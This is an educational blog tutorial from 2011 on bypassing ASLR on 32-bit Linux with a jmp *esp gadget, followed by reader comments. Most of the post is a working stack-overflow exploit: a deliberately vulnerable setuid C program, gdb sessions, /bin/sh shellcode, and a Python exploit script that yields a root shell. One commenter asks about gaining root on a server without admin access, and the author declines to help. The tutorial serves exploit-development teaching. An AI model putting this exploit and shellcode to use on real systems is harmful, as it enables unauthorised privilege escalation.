Skip to content

Vulnerability Development: Buffer Overflows: How To Bypass ASLR…

by on March 31, 2011

Hey,

So this is the second post in the series of vulnerability development posts I plan to make. Today we are going to focus on a simple technique used to bypass Address Space Layout Randomization (ASLR). All examples of code have been compiled on a machine with the following specifications:

dusty@devbox:~/Code/ASLR$ lsb_release -a; uname -ar; gcc --version; gdb --version

Distributor ID: Ubuntu
Description:    Ubuntu 10.10
Release:        10.10
Codename:       maverick

Linux devbox 2.6.35-28-generic-pae #49-Ubuntu SMP Tue Mar 1 14:58:06 UTC 2011 i686 GNU/Linux

gcc (Ubuntu/Linaro 4.4.4-14ubuntu5) 4.4.5

GNU gdb (GDB) 7.2-ubuntu

dusty@devbox:~/Code/ASLR$

Let’s take a look and make sure that ASLR is infact being utilized:

dusty@devbox:~/Code/ASLR$ cat /proc/sys/kernel/randomize_va_space
2
dusty@devbox:~/Code/ASLR$ ldd ./vuln
        linux-gate.so.1 =>  (0xb78d3000)
        libc.so.6 => /lib/libc.so.6 (0xb7764000)
        /lib/ld-linux.so.2 (0xb78d4000)
dusty@devbox:~/Code/ASLR$ ldd ./vuln
        linux-gate.so.1 =>  (0xb78ab000)
        libc.so.6 => /lib/libc.so.6 (0xb773c000)
        /lib/ld-linux.so.2 (0xb78ac000)
dusty@devbox:~/Code/ASLR$ ldd ./vuln
        linux-gate.so.1 =>  (0xb7781000)
        libc.so.6 => /lib/libc.so.6 (0xb7612000)
        /lib/ld-linux.so.2 (0xb7782000)
dusty@devbox:~/Code/ASLR$

As you can see from the above ASLR is indeed being utilized. Let’s take a look at some code:

dusty@devbox:~/Code/ASLR$ cat vuln.c
#include 
#include 

// hard coded jmp *esp function ;-)
void jmpesp()
{
        __asm__("jmp *%esp");
}

int main(int argc, char *argv[])
{
        char buffer[100];
        strcpy(buffer, argv[1]);
        printf("buffer: [%s].\n", buffer);
        return 0;
}
dusty@devbox:~/Code/ASLR$ gcc vuln.c -o vuln -ggdb -fno-stack-protector -z execstack
dusty@devbox:~/Code/ASLR$

This is a simple and contrived example yet again, but it serves its purpose. In larger programs you will generally find instructions like jmp *esp which we can utilize to bypass ASLR. I have placed the jmpesp() function there so that I can show you how to utilize it when exploiting this bug, as we wouldn’t normally find it in such a small binary.

It is a classic buffer overflow, argv[1] is copied to ‘buffer’ without bounds checking. We overwrite past the end of ‘buffer’ in turn overwriting the saved return address of main() so that when main() returns we control execution. We will make it return to our jmp *esp and have the esp register contain our shellcode. Let’s take a look at this in action:

dusty@devbox:~/Code/ASLR$ objdump -d ./vuln | grep 'ff e4'
 80483f7:       ff e4                   jmp    *%esp
dusty@devbox:~/Code/ASLR$ gdb -q ./vuln
Reading symbols from /home/dusty/Code/ASLR/vuln...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
   0x080483fb :     push   ebp
   0x080483fc :     mov    ebp,esp
   0x080483fe :     and    esp,0xfffffff0
   0x08048401 :     add    esp,0xffffff80
   0x08048404 :     mov    eax,DWORD PTR [ebp+0xc]
   0x08048407 :    add    eax,0x4
   0x0804840a :    mov    eax,DWORD PTR [eax]
   0x0804840c :    mov    DWORD PTR [esp+0x4],eax
   0x08048410 :    lea    eax,[esp+0x1c]
   0x08048414 :    mov    DWORD PTR [esp],eax
   0x08048417 :    call   0x8048314 
   0x0804841c :    mov    eax,0x8048500
   0x08048421 :    lea    edx,[esp+0x1c]
   0x08048425 :    mov    DWORD PTR [esp+0x4],edx
   0x08048429 :    mov    DWORD PTR [esp],eax
   0x0804842c :    call   0x8048324 
   0x08048431 :    mov    eax,0x0
   0x08048436 :    leave
   0x08048437 :    ret
End of assembler dump.
(gdb) b *0x08048437
Breakpoint 1 at 0x8048437: file vuln.c, line 15.
(gdb) #  I set a break point on the ret instruction.
(gdb)
(gdb) run $(perl -e 'print "A" x 112 . "\xf7\x83\x04\x08" . "B" x 36')
Starting program: /home/dusty/Code/ASLR/vuln $(perl -e 'print "A" x 112 . "\xf7\x83\x04\x08" . "B" x 36')
buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB].

Breakpoint 1, 0x08048437 in main (argc=Cannot access memory at address 0x41414149
) at vuln.c:15
15      }
(gdb)  x/i 0x08048437
=> 0x8048437 : ret
(gdb) #  OK so we are at our breakpoint, we have overwritten past 'buffer' and overwritten the return address of main, lets see what happens...
(gdb)
(gdb) ni
Cannot access memory at address 0x41414145
(gdb) i r esp eip
esp            0xbffff460       0xbffff460
eip            0x80483f7        0x80483f7 
(gdb) x/x 0xbffff460
0xbffff460:     0x42424242
(gdb) # Excellent, as you can see EIP contains the address of our jmpesp.  ESP points to our string of B's which is where we will place our shellcode :-)
(gdb) 

OK, first of all we used objdump to get the address of our ‘jmp *esp’. Then I loaded up GDB and set a break point on main()’s return. I then gave the program a payload with place holders:

run $(perl -e 'print "A" x 112 . "\xf7\x83\x04\x08" . "B" x 36')

I fill the buffer with 112 A’s (junk basically) and then I pass the address of our ‘jmp *esp’ in little endian format which overwrites the return address and this is where execution jumps to. At that location we know ‘jmp *esp’ resides and the processor then jumps to the esp register and execute what resides there. We step over the instruction in GDB using ‘ni’ and look at the esp register which contains our string of B’s (0x42424242). Let’s try this again with shellcode and see what happens, lets change the user to a normal user and change the binary to setuid 😉

dusty@devbox:~/Code/ASLR$ ./vuln $(perl -e 'print "A" x 112 . "\xf7\x83\x04\x08" . "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"')
buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAë▒^1ÀFF
                                                                                                                                °
                                                                                                                                 V
                                                                                                                                  Íèãÿÿÿ/bin/sh].
# id
uid=1000(dusty) gid=1000(dusty) euid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(dusty)
# whoami
root
#

I replaced the B’s with shellcode, and it gave us a root shell 🙂

This simple ‘jmp *esp’ trick allows us to bypass the restrictions of exploiting buffer overflows when ASLR is enabled.

Here is a simple Python script I wrote that exploits the vulnerability:

dusty@devbox:~/Code/ASLR$ cat exploit.py
#!/usr/bin/env python

import struct
import subprocess

print "[*] Exploiting..."

junk = "\x41" * 112
jmpesp = struct.pack("<I", 0x080483f7);
shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x07" \
            "\x89\x76\x08\x89\x46\x0c\xb0\x0b" \
            "\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c" \
            "\xcd\x80\xe8\xe3\xff\xff\xff\x2f" \
            "\x62\x69\x6e\x2f\x73\x68"

payload = junk + jmpesp + shellcode

subprocess.call(["./vuln", payload])

dusty@devbox:~/Code/ASLR$ python exploit.py
[*] Exploiting...
buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAë▒^1ÀFF
                                                                                                                                °
                                                                                                                                 V
                                                                                                                                  Íèãÿÿÿ/bin/sh].
# whoami;id
root
uid=1000(dusty) gid=1000(dusty) euid=0(root) egid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(dusty)
#

Izik wrote a very interesting paper on other tricks such as ret2ret, ret2pop, ret2eax, etc.. which can be used to bypass ASLR, it is worth a read and you can find it here:

Smack The Stack – Advanced Buffer Overflow Methods

If you have any questions, comments or even feedback regarding the topic discussed please leave a comment!

The next post will discuss how to bypass the non-executable stack (NX).

27 Comments
  1. nice 😉

  2. dusty permalink

    I have updated this post thanks to deadbyte for pointing out a point of confusion. When I say Full ASLR what I meant was randomize_va_space = 2, meaning full randomization including the brk space. However it has come to my attention that this might cause confusion for some people in thinking I meant the .txt section was randomized which as we all know on Ubuntu it is not.

    So to clear this up I have removed the term ‘Full’ from the post.

  3. awwsome! whats your Email dude ?

  4. I added you on msn confirm my request

  5. Check y0ur email dude !

  6. dusty permalink

    I do not use MSN. If you would like to discuss anything with me the best way to contact me is on IRC (irc.smashthestack.org #social,#io).

    In regards to you’re email, I will respond to it this once. Any other questions relating to posts from this blog should really be posted as comments so that everyone can benefit from you’re questions.

  7. aha got it thnks … one more question If server dnt have installed gdb and we have just user access so any hints how we can deal with tht kernel and gain root access ?

  8. legend permalink

    shell: line 5: gdb: command not found
    gdb
    shell: line 6: gdb: command not found

  9. dusty permalink

    You login to the server as the administrator and install GDB so that the user can utilise it.

    If you do not have administrator access on the server, then you shouldn’t be trying to do what you’re trying to do.

    I really don’t think you’re interested in learning, it appears that you’re just trying to own boxes. If that is the case then I am not going to help you any further.

  10. legend permalink

    Well dude Its Just my question I am using bt5 and as you know on bt5 by default don’t have gdb..
    I Just wanna learn like this things because I love this all things… see this bro
    echo 1 > /proc/sys/kernel/randomize_va_space
    cat /proc/sys/kernel/randomize_va_space
    1
    in this condition ASLR on or off ?

  11. legend permalink

    dusty:
    Dude reply me..
    you getting me wrong dude…
    that was just my question maybe i am new so thts why I asked you stupid question :S

  12. dusty permalink

    Hey,

    First of all when you type ‘gdb’ into Backtrack 5, it will say; GDB is not installed, and the following line explains how to install it:

    apt-get install gdb or apt-cache search gdb and install what you need.

    In reference to the ALSR question, that means ASLR is turned on. There are three settings, 0, 1 and 2. To turn ASLR off you need to set it to 0. You can test this by running:

    ldd `which ls`

    Run this command a couple of times and notices the addresses change, if they change each time you run that command then you know ASLR is in use. If they stay the same then you know you’ve turned ASLR off.

    To turn ASLR off try:

    echo “0” > /proc/sys/kernel/randomize_va_space

    Hope this helps.

    Dusty.

  13. legend permalink

    ohh thanks dude… I understand

    dude can u explain me more abt this line >>

    run $(perl -e ‘print “A” x 112 . “\xf7\x83\x04\x08” . “B” x 36’) why you this address 080483f7 If its jmp *esp* address so how I can see in my machine and what is x 36 ?

    as you know i want to be an expert on it so tell me which smash-stack Game to help me for learning this thing.. so i can learn easly ? like IO, blowfish, tux, amateria, blackbox

  14. legend permalink

    If ASLR off so we use the same method for gaining root ?.. sorry for double post

  15. legend permalink

    dusty kindly just explain whats this ?

    see this why its so big >> 0x0000003708000000 is it exploitable ?

    [root@localhost legend]# ldd ./vuln
    linux-vdso.so.1 => (0x00007fffb5e92000)
    libc.so.6 => /lib64/libc.so.6 (0x0000003708400000)
    /lib64/ld-linux-x86-64.so.2 (0x0000003708000000)
    [root@localhost legend]# gdb -q vuln
    Reading symbols from /home/legend/vuln…(no debugging symbols found)…done.
    (gdb) i r
    The program has no registers now.
    (gdb) disass main
    Dump of assembler code for function main:
    0x00000000004004bf : push %rbp
    0x00000000004004c0 : mov %rsp,%rbp
    0x00000000004004c3 : sub $0x10,%rsp
    0x00000000004004c7 : mov %edi,-0x4(%rbp)
    0x00000000004004ca : mov %rsi,-0x10(%rbp)
    0x00000000004004ce : mov -0x10(%rbp),%rax
    0x00000000004004d2 : add $0x8,%rax
    0x00000000004004d6 : mov (%rax),%rdi
    0x00000000004004d9 : callq 0x400498
    0x00000000004004de : mov $0x0,%eax
    0x00000000004004e3 : leaveq
    0x00000000004004e4 : retq
    End of assembler dump.

  16. dusty permalink

    Hey,

    The reason the addresses are so big is because you’re looking at 64bit addresses and not 32bit addresses. I recommend you play around with a 32bit OS first rather than devling into the 64bit realm 🙂

    Dusty.

  17. legend permalink

    hi dusty!

    Thanks got it 🙂

    Dude kindly read my email and reply thanks

  18. oia94ja90a1 permalink

    Hello. Thank you for the writings, as it seems it is very easy to bypass using ret2reg where is an implemented one within the executable, as lately from kernel >= 2.6.18, va’s of libraries are also randomized apparentely, I won’t go even in the details of the newest kernels.

    As I tried this on a CentOS 5.5 with NX supported by CPU (of course, disabled at compilation time of the executable) I stumbled upon the following problem:
    1. When I try to execute the overflow with junk, return by register address and shellcode (exploit: bof+ret2reg_addr+sc), a Segmentation fault occurs;
    2. Related to 1, at compilation time (to your source code), I used of course the gcc following flags: -fno-stack-protector -z execstack along with -ggdb for verbosing purposes inside the gdb;
    3. Upon info reg esp, gdb reports me that it has overwritten with 41h (A), but only the first 3 bytes of the word, meaning: ESP = 41 41 41 3d, can you please tell me why there is a “protection byte” (if I may call it like that) at the end of the ESP address?
    4. EIP was not overwritten, it points to the address 0x8048429;

    A report of the compiled executable is:
    No relro
    NX disabled
    No canary found
    No PIE
    No RPATH
    No RUNPATH

    ASLR is set to stage 1 (no heap randomization): randomize_va_space: 1

    What the problem may be? I am really curious about this one, I spent some time and read the phrack papers trying to find an around about it, but all the examples are behaving as the one posted here, EIP gets overwritten, ESP points to what it should be, and ESP does not get overwritten and EIP points to “nowhere” in address layer space.

    Thanks!

  19. oia94ja90a1 permalink

    I forgot to mention that the Kernel (2.6.18) has no PaX or any other enhancing patch. SELinux is disabled (not enforcing). Also please fix the first two lines of your source code, where the including of the libraries occurs:

    I think it should be:
    1 #include
    2 #include
    .. [.. rest of the code ..]

    Instead of

    1 #include
    2 #include
    .. [.. rest of the code ..]

    Thank you!

  20. oia94ja90a1 permalink

    Regarding the previous comment about the including of the headers I think there is a problem either from the theme or wordpress when ` < ' is mentioned.

    hi

  21. Hi Dusty,
    I want to know how you calculated the “112” magic number which ends at the start of the RETURN ADDRESS for the calling function? I know there are only 100 bytes for the “buffer” variable and we have not pushed anything on the stack.

    -dean

  22. Nice post!

  23. under ASLR, how do you know the address of “jmp *esp”? it is also randomized, right?

Trackbacks & Pingbacks

  1. » Bypassing ASLR Operational Security
  2. Stri.pe down and gets my H@X 0n! – level04 write-up « khr0x40sh

Leave a reply to das Cancel reply